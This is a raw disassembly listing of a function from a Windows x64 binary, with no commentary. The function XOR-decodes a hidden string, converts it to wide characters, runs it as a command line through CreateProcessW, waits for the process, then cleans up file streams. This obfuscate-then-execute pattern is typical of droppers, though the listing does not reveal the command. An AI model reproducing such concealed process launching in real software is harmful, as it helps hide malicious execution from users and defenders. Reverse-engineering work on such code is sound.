xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140018300
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8, r15
inc r8
cmp byte [r9 + r8], 0
jne 0x140018354
mov rdx, r9
lea rcx, [rsp + 0x60]
call fcn.140002eb0
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x2e0]
call fcn.14001b320
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400183c2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400183bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d57
call fcn.14001edc0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rcx, qword [rbp + 0x2f0]
inc rcx
mov rax, rsi
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.14001ef70
mov r15, rax
lea r8, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 0xf
cmova r8, qword [rbp + 0x2e0]
mov ecx, dword [rbp + 0x2f0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
lea r9, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], rax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
mov dword [rbp + 0x3a0], 0x68
mov dword [rbp + 0x3dc], 1
mov word [rbp + 0x3e0], r13w
lea rcx, [rbp + 0x2e0]
mov rbx, qword [rbp + 0x2f0]
cmp qword [rbp + 0x2f8], 0xf
jbe 0x1400184ab
mov rsi, qword [rbp + 0x2e0]
add rbx, rsi
jmp 0x1400184b5
add rbx, rcx
lea rsi, [rbp + 0x2e0]
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r13
cmp rsi, rbx
jne 0x1400184e1
mov eax, 7
mov qword [rbp + 0x1d8], rax
mov word [rbp + 0x1c0], r13w
jmp 0x1400185a6
mov rax, rbx
sub rax, rsi
mov rdi, r13
mov qword [rbp + 0x1d8], 7
cmp rax, r14
ja 0x140018d5d
cmp rax, 7
jbe 0x140018550
or rax, 7
cmp rax, r14
ja 0x14001851d
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
call fcn.140002e40
lea rcx, [rdi - 1]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1d8], rcx
mov rdi, qword [rbp + 0x1d0]
lea rcx, [rbp + 0x1c0]
call fcn.140002750
movsx ecx, byte [rsi]
mov word [rax + rdi*2], cx
mov rdi, qword [rbp + 0x1d0]
inc rdi
mov qword [rbp + 0x1d0], rdi
inc rsi
cmp rsi, rbx
jne 0x140018550
lea rax, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 7
cmova rax, qword [rbp + 0x1c0]
mov word [rax + rdi*2], r13w
mov rax, qword [rbp + 0x1d8]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea rdx, [rbp + 0x1c0]
cmp rax, 7
cmova rdx, qword [rbp + 0x1c0]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140018617
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.14001edc0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x140018665
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018660
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d63
call fcn.14001edc0
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], r13w
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x1400186c0
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400186bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d69
call fcn.14001edc0
mov qword [rbp + 0x2f0], r13
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], 0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.14001a970
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xac], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x158], rbx
lea rcx, [rbp + 0x158]
call fcn.14001e344
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], rdi
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.14001a970
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x64], edx
mov qword [rbp + 0x50], rbx
lea rcx, [rbp + 0x50]
call fcn.14001e344
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x1400187fb
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400187f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d6f
call fcn.14001edc0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rcx, qword [rbp + 0x2a0]
call fcn.140027720
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 7
jbe 0x140018867
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018862
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d75
call fcn.14001edc0
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], 7
mov word [rbp + 0x1e0], r13w
mov rdx, qword [rbp + 0x330]
cmp rdx, 0xf
jbe 0x1400188c2
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d7b
call fcn.14001edc0
mov qword [rbp + 0x328], r13
mov qword [rbp + 0x330], 0xf
mov byte [rbp + 0x318], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x140018921
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001891c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d81
call fcn.14001edc0
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], r13w
mov rdx, qword [rbp + 0x350]
cmp rdx, 0xf
jbe 0x14001897c
inc rdx
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d87
call fcn.14001edc0
mov qword [rbp + 0x348], r13
mov qword [rbp + 0x350], 0xf
mov byte [rbp + 0x338], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x1400189db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400189d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d8d
call fcn.14001edc0
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], 7
mov word [rbp + 0x220], r13w
mov rdx, qword [rbp + 0x370]
cmp rdx, 0xf
jbe 0x140018a36
inc rdx
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018a31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d93
call fcn.14001edc0
mov qword [rbp + 0x368], r13
mov qword [rbp + 0x370], 0xf
mov byte [rbp + 0x358], 0
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x4d0], 0
je 0x140018aa0
mov rax, qword [rbp + 0x468]
lea rcx, [rbp + 0x4c0]
cmp qword [rax], rcx
jne 0x140018aa0
mov rdx, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x488]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x4a0]
mov dword [rax], edx
cmp byte [rbp + 0x4cc], 0
je 0x140018ab5
lea rcx, [rbp + 0x450]
call fcn.14001a870
lea rax, vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x450], rax
mov rbx, qword [rbp + 0x4b0]
test rbx, rbx
je 0x140018b04
cmp qword [rbx + 8], 0
je 0x140018af6
mov rax, qword [rbx + 8]
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x10]
test rax, rax
je 0x140018af6
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov edx, 0x10
mov rcx, rbx
call fcn.14001edc0
nop
mov rdx, qword [rbp + 0x448]
cmp rdx, 0xf
jbe 0x140018b45
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018b40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d99
call fcn.14001edc0
mov qword [rbp + 0x440], r13
mov qword [rbp + 0x448], 0xf
mov byte [rbp + 0x430], 0
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x140018b9f
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018d9f
call fcn.14001edc0
mov qword [rbp + 0x420], r13
mov qword [rbp + 0x428], 0xf
mov byte [rbp + 0x410], 0
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x140018bf9
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018bf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018da5
call fcn.14001edc0
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], 0
mov rdx, qword [rbp + 0x508]
cmp rdx, 0xf
jbe 0x140018c4f
inc rdx
mov rcx, qword [rbp + 0x4f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018c81
call fcn.14001edc0
xor eax, eax
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.14001eda0
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400268ac
int3
call fcn.1400013f0
int3
call fcn.1400268ac
nop
test al, 4
je 0x140018cbe
lea rbx, str.ios_base::badbit_set
jmp 0x140018cd2
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140001d20
lea rdx, [0x140064b88]
lea rcx, [rsp + 0x60]
call fcn.140020d5c
int3
test bl, 4
je 0x140018d11
lea rbx, str.ios_base::badbit_set
jmp 0x140018d26
test bl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140001d20
lea rdx, [0x140064b88]
lea rcx, [rsp + 0x60]
call fcn.140020d5c
nop
call fcn.1400268ac
int3
call fcn.1400013f0
int3
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
int3